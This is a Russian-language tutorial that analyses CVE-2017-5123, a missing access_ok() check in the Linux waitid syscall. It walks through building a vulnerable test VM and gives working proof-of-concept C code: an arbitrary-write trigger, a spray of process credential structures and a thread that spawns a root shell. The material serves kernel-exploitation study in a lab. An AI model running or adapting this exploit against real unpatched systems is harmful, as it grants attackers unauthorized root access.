
PoC CVE-2017-5123 - LPE - Обход SMEP/SMAP. Без KASLR
PoC CVE-2017-5123 - LPE - Обход SMEP/SMAP. Без KASLR
В этом небольшом руководстве я проанализирую уязвимость ядра, которая позволяет получить привилегии root.
Данный файл разделён на четыре части:
Хочу отметить, что существуют гораздо лучшие способы эксплуатации этой CVE (действительно, это всего лишь PoC для изучения ядра, его нельзя использовать в реальных условиях), но я считаю, что данная методология может быть полезна как введение в эксплуатацию ядра.
Эта уязвимость была внедрена в коммите 4c48abe91be0, поэтому нам нужно собрать эту версию ядра.
Это может быть немного сложно, так как это старая версия, и код должен быть пропатчен.
Я сделал репозиторий с уже пропатченным кодом ядра и файлом .config, так что вы можете клонировать и собрать.
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
Обратите внимание, что это ядро будет собрано с драйверами virtio, так что вы сможете использовать virtio disk для обмена файлами между хостом и VM.
Теперь создадим начальную rootfs:
qemu-img create -f raw hda.raw 10G
# Форматируем диск в ext4
mkfs.ext4 ./hda.raw
# Создаём точку монтирования для образа
mkdir /tmp/mount1
# Монтируем диск
sudo mount -o loop ./hda.raw /tmp/mount1
Затем следует установить базовый дистрибутив Linux, например, с помощью pacstrap или debootstrap.
sudo pacstrap /tmp/mount1 base base-devel vim
Наконец, можем модифицировать систему:
# Добавляем пользователя 'test'
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# без пароля
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# мы можем смонтировать virtio-диск для обмена файлами между хостом и гостем
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# Полезно иметь права sudo
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
Если всё в порядке, теперь можно протестировать нашу систему с qemu:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
В описании CVE говорится о неограниченной операции записи во время системного вызова waitid.
Откроем kernel/exit.c и посмотрим код:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
Эта функция довольно проста: после нескольких проверок следуют вызовы unsafe_put_user(...) и функция возвращается.
Основная часть функции состоит из вызовов unsafe_put_user(...), поэтому перейдём к ним (arch/x86/include/asm/uaccess.h):
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
В комментарии есть жирное предупреждение: если вы хотите использовать unsafe_put/get_user, вы должны сначала вызвать access_ok() и окружить их парой user_access_begin/end().
Если посмотреть на предыдущий код (waitid), можно заметить, что access_ok() никогда не вызывается, поэтому системный вызов нарушает это предупреждение.
Но что это за макросы?
SMAP и SMEP — это две функции безопасности, внедрённые в ядро для усложнения написания эксплойтов. Следует отметить, что эти функции реализуются процессором.
SMEP предотвращает исполнение пользовательского кода, когда процессор находится в режиме супервизора; SMAP, напротив, блокирует чтение/запись в пользовательскую память.
Ядру необходимо читать/записывать данные в/из пользовательской памяти, и это можно сделать двумя способами:
copy_from_user), которые позволяют копировать память в пространство ядра;Как видно из определения unsafe_put_user, эта функция просто копирует значение x в память, на которую указывает ptr (и переходит к err_label в случае ошибки). Мы только что сказали, что ядро не может обращаться к пользовательскому пространству из-за SMAP, и поэтому эти функции следует оборачивать между user_access_begin/end().
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
Как видим, user_access_begin/end — это просто ASM-инструкции stac и clac.
stac: «Устанавливает флаг AC в регистре EFLAGS. Это может включить проверку выравнивания для доступа к данным в режиме пользователя. Это разрешает явный доступ к пользовательским страницам в режиме супервизора, даже если бит SMAP установлен в регистре CR4.»clac: «Сбрасывает флаг AC в регистре EFLAGS. Это отключает любую проверку выравнивания для доступа к данным в режиме пользователя. Если бит SMAP установлен в регистре CR4, это запрещает явный доступ к пользовательским страницам в режиме супервизора.»По сути, эти два макроса включают/отключают SMAP.
В нашем предыдущем «предупреждении» также упоминается функция access_ok:
/**
* access_ok: - Проверяет, корректен ли указатель на пользовательское пространство
* @type: Тип доступа: %VERIFY_READ или %VERIFY_WRITE. Обратите внимание, что
* %VERIFY_WRITE является надмножеством %VERIFY_READ — если безопасно
* записывать в блок, то всегда безопасно и читать из него.
* @addr: Указатель на пользовательское пространство на начало блока для проверки
* @size: Размер блока для проверки
*
* Контекст: Только пользовательский контекст. Эта функция может засыпать, если
* включены ошибки страниц.
*
* Проверяет, корректен ли указатель на блок памяти в пользовательском пространстве.
*
* Возвращает true (ненулевое значение), если блок памяти может быть корректен,
* false (ноль), если он определённо некорректен.
*
* Обратите внимание, что в зависимости от архитектуры эта функция, вероятно,
* просто проверяет, что указатель находится в диапазоне пользовательского пространства —
* после вызова этой функции функции доступа к памяти всё ещё могут вернуть -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
Комментарий здесь говорит сам за себя: этот макрос проверяет, является ли указатель корректным пользовательским указателем.
Давайте ещё раз взглянем на код waitid:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
Как вы уже догадались, отсутствие access_ok() приводит к произвольной записи куда угодно в памяти, потому что указатель infop полностью контролируется атакующим.
Очень легко достичь уязвимого пути, и мы можем создать триггер следующим простым кодом:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Trying to overwrite 0x%016lx\r", where);
//int pid = fork(); // Также можно использовать fork
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // Ждём поток
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
Этот простой код вызовет уязвимость и запишет в память по адресу where.
Мы можем использовать gdb, если хотим проверить этот триггер. Например, выберем произвольный адрес и используем функцию trigger_bug для его перезаписи.
Эту уязвимость можно эксплуатировать разными способами, но я предпочитаю очень простой подход.
Помните, что мы можем записывать куда угодно, но записываемые данные частично контролируются. Мы можем перезаписать адрес значением 0.
Основная идея — перезаписать UID нашего процесса и стать root, но сначала нужно понять, что такое учётные данные в Linux.
Начнём с изучения системного вызова fork. Эта функция используется для создания новых процессов.
Посмотрим код в kernel/fork.c:
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
Итак, системный вызов fork — это просто обёртка для _do_fork с жёстко заданными параметрами.
Эта последняя функция немного длинная, но её можно кратко описать так:
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// Это создаст ещё одну task_struct, но НЕ запустит процесс.
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// Пробуждает новую задачу. Это переведёт задачу в состояние RUNNING и поставит её в очередь выполнения.
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
Эта функция выделяет новый объект task_struct. Хотя эта структура очень важна (она описывает процесс), мы сосредоточимся на поле cred:
...
/* Учётные данные процесса: */
/* Учётные данные трассировщика при прикреплении: */
const struct cred __rcu *ptracer_cred;
/* Объективные и реальные субъективные учётные данные задачи (COW): */
const struct cred __rcu *real_cred;
/* Эффективные (переопределяемые) субъективные учётные данные задачи (COW): */
const struct cred __rcu *cred;
...
Как видим, есть (три) указателя на struct cred. Посмотрим, как устроена эта структура (include/linux/cred.h):
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* количество подписанных процессов */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* реальный UID задачи */
kgid_t gid; /* реальный GID задачи */
kuid_t suid; /* сохранённый UID задачи */
kgid_t sgid; /* сохранённый GID задачи */
kuid_t euid; /* эффективный UID задачи */
kgid_t egid; /* эффективный GID задачи */
kuid_t fsuid; /* UID для операций VFS */
kgid_t fsgid; /* GID для операций VFS */
......
Как видно, UID процесса — это просто unsigned integer (следуя определению kuid_t), так что мы можем просто перезаписать это значение на 0, чтобы стать root.
Структура task_struct выделяется в функции copy_process, которая довольно сложна и её основная цель — «скопировать» процесс в новый.
Мы можем сосредоточиться на copy_creds(p, clone_flags), которая определена как:
/*
* Копирует учётные данные для нового процесса, созданного fork()
*
* Мы разделяем, если можем, но при некоторых обстоятельствах приходится генерировать новый
* набор.
*
* Новый процесс получает субъективные учётные данные текущего процесса в качестве
* своих объективных и субъективных учётных данных.
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
Как видно, эта функция вызывает prepare_creds, где и происходит реальное выделение памяти.
Теперь у нас есть путь для выделения (псевдо)произвольного количества struct cred:
_do_fork()copy_process()copy_creds()Последняя проблема — как вызвать _do_fork() из пользовательского пространства. Можно использовать fork, но это может быть медленно, поэтому мы будем использовать clone.
Примечание: мы не можем использовать pthread из-за флагов: если посмотреть на код copy_creds, можно заметить путь, где структура не выделяется по-настоящему.
Теперь небольшое резюме:
0 в память;0, он получает права root.Теперь нужно знать, куда записывать в память, и хотя KASLR отключён, адрес одной struct cred недостаточно стабилен, поэтому я решил применить memory spraying.
Нам нужно найти struct cred в памяти, чтобы определить диапазон адресов. Можно использовать gdb и python со скриптом вроде этого:
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# Вставьте имя вашего исполняемого файла
if comm == "exploit":
print(task['cred'])
....
Примечание: этот скрипт работает только с отключённым KASLR и с отладочными символами (нужен указатель init_task).
Можно попробовать несколько раз и заметить, что куча растёт вниз, поэтому можно попробовать нижний адрес и двигаться вверх.
Теперь можно использовать системный вызов clone для порождения множества процессов, и с помощью gdb проверить адреса:
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// Функция spray_thread может быть просто бесконечным циклом
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Process created: %d\r", x);
}
Примечание: возможно, вы не сможете создать более 4k процессов. Проверьте ulimits, если это так.
Наконец, напишем наш PoC.
Достаточно вызвать trigger_bug с разными адресами (в поисках структуры), в то время как наши порождённые потоки будут проверять свой UID, например так:
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// Порождённый поток
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// Цикл по getUID
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// Если возвращённый UID отличается от предыдущего, значит мы попали в область struct cred
if (uid != previous_one){
printf("WIN!! with %d", uid);
// Убиваем остальные потоки для стабилизации системы
glob_var.one_win = 1;
// Просто запускаем shell
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
Вероятность попадания в структуру — 50%, так что после нескольких попыток вы получите права root.

Это (базовый) PoC, и spraying далёк от совершенства. Это всего лишь «введение» в удивительный мир ядра; я пропустил много концепций, но они чрезвычайно важны (например, управление памятью). Если хотите изучить глубже, загляните в prepare_creds и выделение памяти.
KASLR отключён, но эта уязвимость позволяет обойти и эту защиту (unsafe_put_user не падает при неверном адресе), но я не считаю, что добавление нового «слоя» брутфорса полезно, если ваша цель — изучить ядро. Если ваша цель — использовать эту уязвимость в реальных условиях, вы должны написать другой эксплойт (как минимум, другой spraying).
Пища для размышлений: я использовал эту уязвимость для понимания и опробования техники ret2dir (Подсказка: можно инициировать запись по псевдоадресу, а модификацию читать с пользовательским адресом).